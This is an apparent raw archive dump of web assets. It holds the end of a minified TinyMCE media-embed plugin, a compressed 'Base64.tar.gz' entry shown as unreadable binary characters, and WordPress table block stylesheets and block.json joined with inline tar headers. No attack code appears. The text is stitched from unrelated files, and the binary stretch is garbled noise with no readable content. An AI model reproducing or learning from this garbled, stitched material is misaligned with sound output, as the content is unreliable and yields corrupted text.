t=function(){e(function(e){te(e)})};return{type:"container",label:"Dimensions",layout:"flex",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:5,onchange:t,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain proportions"}]}},ne=function(e){Z(e,Y)},ie=te,oe=o.ie&&o.ie<=8?"onChange":"onInput",ae=function(r){return function(e){var t=e&&e.msg?"Media embed handler error: "+e.msg:"Media embed handler threw unknown error.";r.notificationManager.open({type:"error",text:t})}},ce=function(i,o){return function(e){var t=e.html,r=i.find("#embed")[0],n=v.extend(P(w(o),t),{source1:e.url});i.fromJSON(n),r&&(r.value(t),ie(i))}},ue=function(e,t){var r=e.dom.select("img[data-mce-object]");e.insertContent(t),function(e,t){var r,n,i=e.dom.select("img[data-mce-object]");for(r=0;r<t.length;r++)for(n=i.length-1;0<=n;n--)t[r]===i[n]&&i.splice(n,1);e.selection.select(i[0])}(e,r),e.nodeChanged()},se=function(n){var i,t,e,r,o,a=[{name:"source1",type:"filepicker",filetype:"media",size:40,autofocus:!0,label:"Source",onpaste:function(){setTimeout(function(){B(n,i.toJSON()).then(ce(i,n))["catch"](ae(n))},1)},onchange:function(e){var r,t;B(n,i.toJSON()).then(ce(i,n))["catch"](ae(n)),r=i,t=e.meta,v.each(t,function(e,t){r.find("#"+t).value(e)})},onbeforecall:function(e){e.meta=i.toJSON()}}],c=[];if(m(n)&&c.push({name:"source2",type:"filepicker",filetype:"media",size:40,label:"Alternative source"}),d(n)&&c.push({name:"poster",type:"filepicker",filetype:"image",size:40,label:"Poster"}),h(n)){var u=re(function(e){e(i),t=i.toJSON(),i.find("#embed").value(W(t.embed,t))});a.push(u)}r=(e=n).selection.getNode(),o=r.getAttribute("data-ephox-embed-iri"),t=o?{source1:o,"data-ephox-embed-iri":o,width:X.getMaxWidth(r),height:X.getMaxHeight(r)}:r.getAttribute("data-mce-object")?P(w(e),e.serializer.serialize(r,{selection:!0})):{};var s={id:"mcemediasource",type:"textbox",flex:1,name:"embed",value:function(e){var t=e.selection.getNode();if(t.getAttribute("data-mce-object")||t.getAttribute("data-ephox-embed-iri"))return e.selection.getContent()}(n),multiline:!0,rows:5,label:"Source"};s[oe]=function(){t=v.extend({},P(w(n),this.value())),this.parent().parent().fromJSON(t)};var l=[{title:"General",type:"form",items:a},{title:"Embed",type:"container",layout:"flex",direction:"column",align:"stretch",padding:10,spacing:10,items:[{type:"label",text:"Paste your embed code below:",forId:"mcemediasource"},s]}];0<c.length&&l.push({title:"Advanced",type:"form",items:c}),i=n.windowManager.open({title:"Insert/edit media",data:t,bodyType:"tabpanel",body:l,onSubmit:function(){var t,e;ie(i),t=n,(e=i.toJSON()).embed=W(e.embed,e),e.embed&&G(e.source1)?ue(t,e.embed):B(t,e).then(function(e){ue(t,e.html)})["catch"](ae(t))}}),ne(i)},le=function(e){return{showDialog:function(){se(e)}}},me=function(e){e.addCommand("mceMedia",function(){se(e)})},de=tinymce.util.Tools.resolve("tinymce.html.Node"),he=function(o,e){if(!1===u(o))return e;var a,c=E();return z({validate:!1,allow_conditional_comments:!1,special:"script,noscript",comment:function(e){c.comment(e)},cdata:function(e){c.cdata(e)},text:function(e,t){c.text(e,t)},start:function(e,t,r){if(a=!0,"script"!==e&&"noscript"!==e&&"svg"!==e){for(var n=t.length-1;0<=n;n--){var i=t[n].name;0===i.indexOf("on")&&(delete t.map[i],t.splice(n,1)),"style"===i&&(t[n].value=o.dom.serializeStyle(o.dom.parseStyle(t[n].value),e))}c.start(e,t,r),a=!1}},end:function(e){a||c.end(e)}},L({})).parse(e),c.getContent()},fe=function(e,t){var r,n=t.name;return(r=new de("img",1)).shortEnded=!0,ge(e,t,r),r.attr({width:t.attr("width")||"300",height:t.attr("height")||("audio"===n?"30":"150"),style:t.attr("style"),src:o.transparentSrc,"data-mce-object":n,"class":"mce-object mce-object-"+n}),r},pe=function(e,t){var r,n,i,o=t.name;return(r=new de("span",1)).attr({contentEditable:"false",style:t.attr("style"),"data-mce-object":o,"class":"mce-preview-object mce-object-"+o}),ge(e,t,r),(n=new de(o,1)).attr({src:t.attr("src"),allowfullscreen:t.attr("allowfullscreen"),style:t.attr("style"),"class":t.attr("class"),width:t.attr("width"),height:t.attr("height"),frameborder:"0"}),(i=new de("span",1)).attr("class","mce-shim"),r.append(n),r.append(i),r},ge=function(e,t,r){var n,i,o,a,c;for(a=(o=t.attributes).length;a--;)n=o[a].name,i=o[a].value,"width"!==n&&"height"!==n&&"style"!==n&&("data"!==n&&"src"!==n||(i=e.convertURL(i,n)),r.attr("data-mce-p-"+n,i));(c=t.firstChild&&t.firstChild.value)&&(r.attr("data-mce-html",escape(he(e,c))),r.firstChild=null)},ve=function(e){for(;e=e.parent;)if(e.attr("data-ephox-embed-iri"))return!0;return!1},we=function(i){return function(e){for(var t,r,n=e.length;n--;)(t=e[n]).parent&&(t.parent.attr("data-mce-object")||("script"!==t.name||(r=A(w(i),t.attr("src"))))&&(r&&(r.width&&t.attr("width",r.width.toString()),r.height&&t.attr("height",r.height.toString())),"iframe"===t.name&&a(i)&&o.ceFalse?ve(t)||t.replace(pe(i,t)):ve(t)||t.replace(fe(i,t))))}},be=function(d){d.on("preInit",function(){var t=d.schema.getSpecialElements();v.each("video audio iframe object".split(" "),function(e){t[e]=new RegExp("</"+e+"[^>]*>","gi")});var r=d.schema.getBoolAttrs();v.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(e){r[e]={}}),d.parser.addNodeFilter("iframe,video,audio,object,embed,script",we(d)),d.serializer.addAttributeFilter("data-mce-object",function(e,t){for(var r,n,i,o,a,c,u,s,l=e.length;l--;)if((r=e[l]).parent){for(u=r.attr(t),n=new de(u,1),"audio"!==u&&"script"!==u&&((s=r.attr("class"))&&-1!==s.indexOf("mce-preview-object")?n.attr({width:r.firstChild.attr("width"),height:r.firstChild.attr("height")}):n.attr({width:r.attr("width"),height:r.attr("height")})),n.attr({style:r.attr("style")}),i=(o=r.attributes).length;i--;){var m=o[i].name;0===m.indexOf("data-mce-p-")&&n.attr(m.substr(11),o[i].value)}"script"===u&&n.attr("type","text/javascript"),(a=r.attr("data-mce-html"))&&((c=new de("#text",3)).raw=!0,c.value=he(d,unescape(a)),n.append(c)),r.replace(n)}})}),d.on("setContent",function(){d.$("span.mce-preview-object").each(function(e,t){var r=d.$(t);0===r.find("span.mce-shim",t).length&&r.append('<span class="mce-shim"></span>')})})},ye=function(e){e.on("ResolveName",function(e){var t;1===e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)})},xe=function(t){t.on("click keyup",function(){var e=t.selection.getNode();e&&t.dom.hasClass(e,"mce-preview-object")&&t.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),t.on("ObjectSelected",function(e){var t=e.target.getAttribute("data-mce-object");"audio"!==t&&"script"!==t||e.preventDefault()}),t.on("objectResized",function(e){var t,r=e.target;r.getAttribute("data-mce-object")&&(t=r.getAttribute("data-mce-html"))&&(t=unescape(t),r.setAttribute("data-mce-html",escape(W(t,{width:e.width,height:e.height}))))})},Oe=function(e){e.addButton("media",{tooltip:"Insert/edit media",cmd:"mceMedia",stateSelector:["img[data-mce-object]","span[data-mce-object]","div[data-ephox-embed-iri]"]}),e.addMenuItem("media",{icon:"media",text:"Media",cmd:"mceMedia",context:"insert",prependToContext:!0})};i.add("media",function(e){return me(e),Oe(e),ye(e),be(e),xe(e),le(e)})}();14338/Base64.tar.gz000064400000003726151024420100007376 0ustar00��ZYs�6γ~���$[�yH�c[ΡjZϴI��C��x(
�8�H
I�vj��.R�RG��,��o���|��q���t4}�����l6������V���T��TUä�m|�k�l� �|T�-t���K\�Jeg�;�[A�-ߺ����͹7pf���瓛7V@�&RQB�z���(��]]�LP��A�
��:V�|$�sC�O}' ����	�!Aʭs[U����b�M�j�B�~8����M�(e�b/���]��?����w�*��z�	�~�����o�{�ǹ��h��ހ��Ďa#1�{��l�=$�������W���JU^\��oe�^M�~A�;�-l�=�I8��hh��|�.���)��G��w:�Ypl�\;tpf�_��댎;��X	^oAـП��#}�,wH\:0����?�{.]j9��5��T2>��1l�n�<u���:���Ϛ���=��83����;3��	B�V�}��q�WV��3><DK����\�b@�i9.�=o
5L4��d�P�vP�z��wb���F=ae�sx����}���٠�<�m{4s?�N�O��v`��n�U�;�F��f}�S�2��&$&�d�U�%_i��Am1���Š���Q�{�T'm���'jj��	��k�V�Q�Q��ch���
G�z��i�.C�2�H�Ne�k��n5&c�$�.F�c�:�w#���z���'K��ܜ!C�q�8�|[b�TvA+�REFP8�B�(-��c}��Y�,���Op�E~HN��j��)���z�C��lఅ�>�+�T[�	���v²����Ə|�!�1'�V�	��3Y�9A�D��v�>��,9F�,����m2���C��x����'������Xn�܁�Q�}p��៲��'�Cw�32���9��b���Y$E�K�O�{�,?��kxNOp���-W��P�f���紊�G��2W���r,;A�g���e�Y�Q����}L�bTTst�m#o�Z����	w^j'"�G�M�����xDl	xo�g)iij�Qz����4s��Ms��D�����2z=O���yz���I�y40���W�v��F��&+���e�D�����-���:?���Ǥ<8�9q�6�
��0#���+#����L�W��8}֗��k��m�SWڪB�Ҷ	j�|��]�k3�@��#m|o_��Wq��~��K=1�<�UR�Vx�."?S�(�#b�b3�ֲC�%i�<�N�5d���ʓ�x
ku�����)&��N��b	ĹCt���ӑ�'a:�~�[��6�{���p��s�/8ᝃ�7%�z�� $��!�VL�	>̦�u�d*�D�Gr�󌥱��Ajho�{�a<�.O|��
=ҋ���������-���&}l�GC�G�}���P|C+�f�?}�)��c���m��hT��~���pB'��0��c|m��m�gVx@Љ����*�X<�a�39
��]���<��n�Y/��L[�YdR�tsaV[�e��j��j�ef�ÔY�%0�PѢ�>7�%6
E��B�Y�PZ�MtsA�-�0����P�n'T�F��abMF�&"�����Lh���-�:��NqP�S��;ŒM}Y��~�(8�!��`��Oo�#����
�Ú���Co�c�B--��P�P��Pڭ��jii9-�V�3�F�ǡ��f��фj̼�D��V3䀧�xp"�aeuy�FYw���L�_YO���jپx����֐|�������0M]��ߠ�[���+���U �
DV��*Y"�@�O��e���U �
DV�䚬�U �
$2NV��*Y"�@d���<�*~mٰ
$ra|�E �D`�,Y��^������@Z+���E �,�E �"���$[�QXR�\Hk�"��Y"�l��s�U�B:H14338/table.tar000064400000112000151024420100007004 0ustar00editor-rtl.min.css000064400000002727151024252270010135 0ustar00.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{height:auto}.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{width:auto}.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{word-break:break-word}.wp-block[data-align=center]>.wp-block-table{text-align:initial}.wp-block[data-align=center]>.wp-block-table table{margin:0 auto}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table td.is-selected,.wp-block-table th.is-selected{border-color:var(--wp-admin-theme-color);border-style:double;box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color)}.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{border:1px solid}.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-start;display:flex;flex-direction:column;gap:8px}@media (min-width:782px){.blocks-table__placeholder-form.blocks-table__placeholder-form{align-items:flex-end;flex-direction:row}}.blocks-table__placeholder-input{width:112px}theme-rtl.css000064400000000405151024252270007156 0ustar00.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table :where(figcaption){
  color:#ffffffa6;
}theme-rtl.min.css000064400000000350151024252270007737 0ustar00.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6}theme.min.css000064400000000350151024252270007140 0ustar00.wp-block-table{margin:0 0 1em}.wp-block-table td,.wp-block-table th{word-break:normal}.wp-block-table :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table :where(figcaption){color:#ffffffa6}theme.css000064400000000405151024252270006357 0ustar00.wp-block-table{
  margin:0 0 1em;
}
.wp-block-table td,.wp-block-table th{
  word-break:normal;
}
.wp-block-table :where(figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-table :where(figcaption){
  color:#ffffffa6;
}style-rtl.min.css000064400000007417151024252270010010 0ustar00.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}editor-rtl.css000064400000003071151024252270007344 0ustar00.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}style.min.css000064400000007417151024252270007211 0ustar00.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}editor.css000064400000003071151024252270006545 0ustar00.wp-block[data-align=center]>.wp-block-table,.wp-block[data-align=left]>.wp-block-table,.wp-block[data-align=right]>.wp-block-table{
  height:auto;
}
.wp-block[data-align=center]>.wp-block-table table,.wp-block[data-align=left]>.wp-block-table table,.wp-block[data-align=right]>.wp-block-table table{
  width:auto;
}
.wp-block[data-align=center]>.wp-block-table td,.wp-block[data-align=center]>.wp-block-table th,.wp-block[data-align=left]>.wp-block-table td,.wp-block[data-align=left]>.wp-block-table th,.wp-block[data-align=right]>.wp-block-table td,.wp-block[data-align=right]>.wp-block-table th{
  word-break:break-word;
}
.wp-block[data-align=center]>.wp-block-table{
  text-align:initial;
}
.wp-block[data-align=center]>.wp-block-table table{
  margin:0 auto;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table td.is-selected,.wp-block-table th.is-selected{
  border-color:var(--wp-admin-theme-color);
  border-style:double;
  box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);
}
.wp-block-table table.has-individual-borders td,.wp-block-table table.has-individual-borders th,.wp-block-table table.has-individual-borders tr,.wp-block-table table.has-individual-borders>*{
  border:1px solid;
}

.blocks-table__placeholder-form.blocks-table__placeholder-form{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
@media (min-width:782px){
  .blocks-table__placeholder-form.blocks-table__placeholder-form{
    align-items:flex-end;
    flex-direction:row;
  }
}

.blocks-table__placeholder-input{
  width:112px;
}block.json000064400000010470151024252270006533 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/table",
	"title": "Table",
	"category": "text",
	"description": "Create structured content in rows and columns to display information.",
	"textdomain": "default",
	"attributes": {
		"hasFixedLayout": {
			"type": "boolean",
			"default": true
		},
		"caption": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "figcaption"
		},
		"head": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "thead tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		},
		"body": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "tbody tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		},
		"foot": {
			"type": "array",
			"default": [],
			"source": "query",
			"selector": "tfoot tr",
			"query": {
				"cells": {
					"type": "array",
					"default": [],
					"source": "query",
					"selector": "td,th",
					"query": {
						"content": {
							"type": "rich-text",
							"source": "rich-text"
						},
						"tag": {
							"type": "string",
							"default": "td",
							"source": "tag"
						},
						"scope": {
							"type": "string",
							"source": "attribute",
							"attribute": "scope"
						},
						"align": {
							"type": "string",
							"source": "attribute",
							"attribute": "data-align"
						},
						"colspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "colspan"
						},
						"rowspan": {
							"type": "string",
							"source": "attribute",
							"attribute": "rowspan"
						}
					}
				}
			}
		}
	},
	"supports": {
		"anchor": true,
		"align": true,
		"color": {
			"__experimentalSkipSerialization": true,
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"__experimentalSkipSerialization": true,
			"color": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"style": true,
				"width": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"selectors": {
		"root": ".wp-block-table > table",
		"spacing": ".wp-block-table"
	},
	"styles": [
		{
			"name": "regular",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "stripes", "label": "Stripes" }
	],
	"editorStyle": "wp-block-table-editor",
	"style": "wp-block-table"
}
style-rtl.css000064400000007724151024252270007227 0ustar00.wp-block-table{
  overflow-x:auto;
}
.wp-block-table table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-table thead{
  border-bottom:3px solid;
}
.wp-block-table tfoot{
  border-top:3px solid;
}
.wp-block-table td,.wp-block-table th{
  border:1px solid;
  padding:.5em;
}
.wp-block-table .has-fixed-layout{
  table-layout:fixed;
  width:100%;
}
.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{
  word-break:break-word;
}
.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{
  display:table;
  width:auto;
}
.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{
  word-break:break-word;
}
.wp-block-table .has-subtle-light-gray-background-color{
  background-color:#f3f4f5;
}
.wp-block-table .has-subtle-pale-green-background-color{
  background-color:#e9fbe5;
}
.wp-block-table .has-subtle-pale-blue-background-color{
  background-color:#e7f5fe;
}
.wp-block-table .has-subtle-pale-pink-background-color{
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes{
  background-color:initial;
  border-bottom:1px solid #f0f0f0;
  border-collapse:inherit;
  border-spacing:0;
}
.wp-block-table.is-style-stripes tbody tr:nth-child(odd){
  background-color:#f0f0f0;
}
.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){
  background-color:#f3f4f5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){
  background-color:#e9fbe5;
}
.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){
  background-color:#e7f5fe;
}
.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){
  background-color:#fcf0ef;
}
.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{
  border-color:#0000;
}
.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{
  border-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{
  border-top-color:inherit;
}
.wp-block-table table[style*=border-top-color] tr:not(:first-child){
  border-top-color:initial;
}
.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{
  border-left-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{
  border-bottom-color:inherit;
}
.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){
  border-bottom-color:initial;
}
.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{
  border-right-color:inherit;
}
